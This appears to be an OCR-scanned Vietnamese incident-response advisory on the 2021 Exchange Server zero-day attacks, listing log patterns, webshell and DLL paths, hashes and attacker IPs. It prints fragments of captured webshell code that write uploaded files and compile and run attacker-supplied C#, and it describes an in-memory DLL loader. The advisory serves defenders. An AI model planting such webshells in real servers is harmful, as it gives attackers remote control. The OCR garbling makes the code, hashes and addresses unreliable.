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Vira qua, Volexity va Microsoft c6 cong bé cac bai phan tich vé cac chién dich tan
cong str dung cac 16 héng 0-day nham dén cac phién ban Exchange Server on-prem.
Theo nhw bao cao ctia MS, cac cudc tan coéng lién quan dén Microsoft Exchange str
dung 0-day bao géom CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 va CVE
-2021-27065. Anh hwéng téi cac phién ban MS Exchange Server 2013,2016 va 2019.
Théng qua cac hanh vi, cach thirc, cac command ghi nhan trén hé théng SIEM, ching
toéi da thwe hién forensic ngay trwéc khi 16 hdng dwoc cong bé.

Céc td chlrc, don vi c6 thé tham khao bai viét phan tich ctia Volexity[1]. Trong bai viét nay,
GTSC sé dwa thém mot sbé dau hiéu dé xac dinh tAn cong dé tu kiém tra trong hé théng Mail
Exchange cua td chirc

DAu hiéu phat hién
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https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

IS log:

Kiém tra cac truy cap téi dwdng dan /ecp/<single char>.js. trd vé& ma response code Ia 200 .
Chung t6i phat hién duwoc 3 file c6 dang x.js, y.js, z.js thdng qua log. User-Agent la
ExchangeServicesClient/0.0.0.0 va Python-requests/2.22.0

%RIIS-4-: ", time s-ip=" scs-method="P0OST",cs-uri-stem="/ecp/x.js",cs-uri-
query="§&CorrelationlD=<empty>;&ClientId=QNFNITBQEMPJIPVIOLZUWAcafeReqld=5f5ad30d-f5a9-4bla-
b798-9@9effd274e3;",s-port="443",cs-username="-",Cc-1p="202.182.100.134" ,cs(User-Agent)="ExchangeServicesClient

/©.0.0.8" ,cs(Referer)="-",sc-status="200",sc-substatus="0"

®XIIS-4-: date s =ipm” cs-method="POST",cs-uri-stem="/ecp/x.js",cs-uri-

query="8§ & XCBJEGHHHMKUKKS a eqld eeb8d-56a9-4a54-
a6cc-7517 Bcc7; - -" c-ip="282.182.180.134" ,cs(User-Agent )="python-requests

,cs(Referer)="-",sc-status="280"

Exchange ECP log

L& hdng RCE lién quan t&i set-OabVirtualDirectory ExchangePowershell cmdlet. Kiém tra
trong cac HttpProxy log nam trong Exchange ECP log (thw muc chira log cta

Exchange: c:\Program Files\Microsoft\Exchange Server\{Version}\Logging\ ) v&i doan log ghi
nhan truy cap url: /eco/DDI/DDIService.svc/SetObject véi tham sb schema la
OABVirtualDirectory va ResetOABVirtualDirectory, c6 thé thém UserAgent |a python-
requests.

rep/DOT /DOIService. sve/SetObect 'ns ExchE cplanary=030EneXFalquisuaF 10EE Dxyal thitgl 3HqTodQhB9F S gYbuYBAWIFAPSIETYUuOMIgEfaoupgs . Asc hema=0ASV i rtualDirectory®, python -requests /2. 228,202, 162.186.1
»cp/D0T /DOIService. sve fSetObfect 'ns FxchE cplanary=D30EheXFAUquISwIF1QEE Dxyol thitg] 3HqTodQhBUFS gYbuYBiw] FAPSIBTYUUBMIgEF aoupgs . Bschema=0ABVirtualDinectory®, python-requests /332 _8, 202 182_180.1
rep/D0L/DDIService  sve fSatObfect 'asExchEcplanary-QguVBpnBsUDfG_zsHBE_MxoOppT 3tgl FBH0- 1IVOGIOYNINGAzyqGnt ZRMIVy QFuiuYs FFSG1E, Bschema~0ABV r tualDirectory®, python -requests /2. 220,202, 182100 .1
+cp/001/DOIService. sve/Setibject s CxchEcplanary=0puVBpnBel0fG_zsHB )i _MooOppT 3tglfB10- LIVOGOOVXINGAZyqGr tIRMIVQFfuuY s FFSG1E . Bschema-ResetOABVE rtual Directory®, python -requests/2, 22.9, 292, 182,
rep/DOT /DOIService. sve/Setibject 'ns ExchEcplanary=0guvBpnBel0fG_zsHB1i_MeoOppT 3tgl fEH0- LIVQGHNX INGaZyqGr T ERMIVQFfuju s FESG1E . Aschema=00SirtualDirectory® , python -requests f2. 22,0, 202.162.100.1
+cp/D0T/DOISerice. swe/SetOBect s ExchEcplanary=QguvBpnBellifh_zsHBE_HxolppT 3tgIfB0- 1IVQGEIIVNINGAzyqGnt ZRMIVy§FujulYs FFS618. Aschema=0ABVirtualDirectory®, python-requests /2. 22.0,202. 162.189.1
rcp/D01 /DRIService . SV SatOB)ect "as ExchEcplanary=0guVBpnBeU0fc_zsHB)E_MxolppT3tgl FBH0- 1IVQGIYX NGz yqGntZRMIVyQFfuiuYs FFSGLE, Aschema=ResetOABVIrtualDirec tory#, python -requests /2. 22,0, 292 . 182,
rep/D01/DDISarvice. sVC/SatO]ect 'es ExchEcplanary=QguVBpnBeU0fG_zsMB)E_MxoOppT 3tgl FBH0- LIVOGIOVX 1INz ygGrt ZRMIVyQFu Uy s FFSG1E, Bschema=0ABVirtualDirectory®, python-requests /2. 22,0, 202, 182,109, 1

Webshell/Malware Path:

Chung t6i phat hién cac webshell nam tai cac dwéng dan sau
\inetpub\wwwroot\aspnet_client\system_web\
\inetpub\wwwroot\aspnet_client\

Ngoai ra, can thyc hién kiém tra webshell trong dwdng dan Exchange nhu:

%ProgramFiles%\Microsoff\Exchange Server\
<version>\ClientAccess %ProgramFiles%\Microsoft\Exchange Server\<version>\FrontEnd

Chu y kiém tra cac webshell dwéi dang dil trong cac thw muc bin, vi du nhu:
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\Program Files\Microsoft\Exchange Server\<Version>\ClientAccess\owa\bin hoac \Program
Files\Microsoft\Exchange Server\<Version>\FrontEnd\HttpProxy\owa\bin ...

Céc DLL déc hai nam tai cac duong dan:

C:\\Windows\Microsoft. Net\FrameWork\sbs_clrhost.dll
C:\Program Files\Common Files\microsoft shared\WMIN\iiswmi.dll
C:\Program Files\Common Files\System\websvc.dll
C:\\Windows\Microsoft. Net\FrameWork64\\v4.030319\Util.config
C:\\Windows\Microsoft. Net\FrameWork64\version.dll

Tén cac webshell:
Aspnet_client.aspx
Errorv.aspx
Access.aspx
Hashes

Webshell hashes

286F877DAD9E7CECC69A0FA30DES82DE910A1E6E
C3FA8F4B7A2D84E1A54A2DC973985C76652BBCF2

DLL hashes
3ED18FBEO6D6EF2C8332DB70A3221A00F7251D55

C8675C1578D3FDD22CBB0OF64340258BCFDD5743F
3399681CFD6F7F2A270D9A543021ED9B93E85675

1EE063A2B7B29334E7388B621AE8B37DD2488210
Network

Ghi nhan céac IP sau c6 lién quan trong d6 IP 167.99.168.251 ciing da dwoc nhac dén trong
bai viét ctia Volexity:

167.99.168.251
185.220.101.204
162.247.72.199

194.156.98.191
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202.182.100.134
109.70.100.55
185.220.101.18
193.36.119.144

Sau khi khai thac cac 16 hdng thanh cong, attacker trién khai webshell trén may chi bj
compromised. Mot vi du vé cac webshell ma chung t6i thu thap dwoc:

Thwe hién write file:

<3cript runat="server":

protected void Page_Load(object sender, Eventizgs e)(
System.I0.File . WriteRllTexe (Requess.Form["x"] , Syscem.Texe.Encoding . UTFS.GeeString (Convert . FromBase64Sering (Requeas. Form(["y"] . Subscring(10)))) :
1

<fscript>»

Thuc hién bién dich va thuc thi class, method dwoc yéu ciu:

- -

CSharpCodeProvider YDHi = new CSharpCodeProvider() .

CompilerResults HSVu = YDHi.CompileAssemblyFromSource (xGIX, YKl):

if (HS5Vu.Errors.HasErrors) { retarn: }

object cHtQ = H5Vu.CompiledAssembly.CreateInstance ("core™);

if (cHtQ == null) { return; }

object[] ybrs = new object[2] { this, ICf£[0] }:

QJSK = (string)cHNcQ.GetType () .InvokeMember ("run”, BindingFlags.InvokeMethod, null, cNtQ, ybrs):
YDHi.Dispose () :

Sau khi c6 dwoc webshell, ching téi phat hién thém cac DLL sau dwoc drop xudng.
iisvmi.dll(x64) DLL nay sé dwoc chay dwéi dang mét service tén la ExchangeSvce. Nhiém vu
cta DLL nay drop ra mét dll khac cé tén websvce.dll. DIl websve.dll nhan tham sé 1a chudi
base64, v&i chubi base64 la tham s truyén vao tr iisvmi.dll dwoc lwu triy trén registry.
websvce.dll s& thue hién viéc decrypt chudi base64, xor véi 63 , decompress gzip dé duoc
mot DLL méi.DLL nay sé load trwc tiép trén memory. Phan tich chi tiét cac mau ma déc,
chung toi xin phép update vao bai viét khac.

I3 oo T30, 930K DUUS WEIOUWS ICe0ne

Description Comparyy Name Path Verfied Signer
ntdi di NT Layer DLL Microeoit Comporation C\Windows\System 32\t di (Verfied) Microscf ..
EEWITH C-\Program [Files"\Common Files\microsoft shared WM Miswmi.dll (No signature was. ..

C:\Program Files"Common Files'\System‘websvc.dll (No signature was. ..

Théng tin cac ban va xem tai https://msrc-blog.microsoft.com/2021/03/02/multiple-security-
updates-released-for-exchange-server/
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[1] https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-
day-vulnerabilities/
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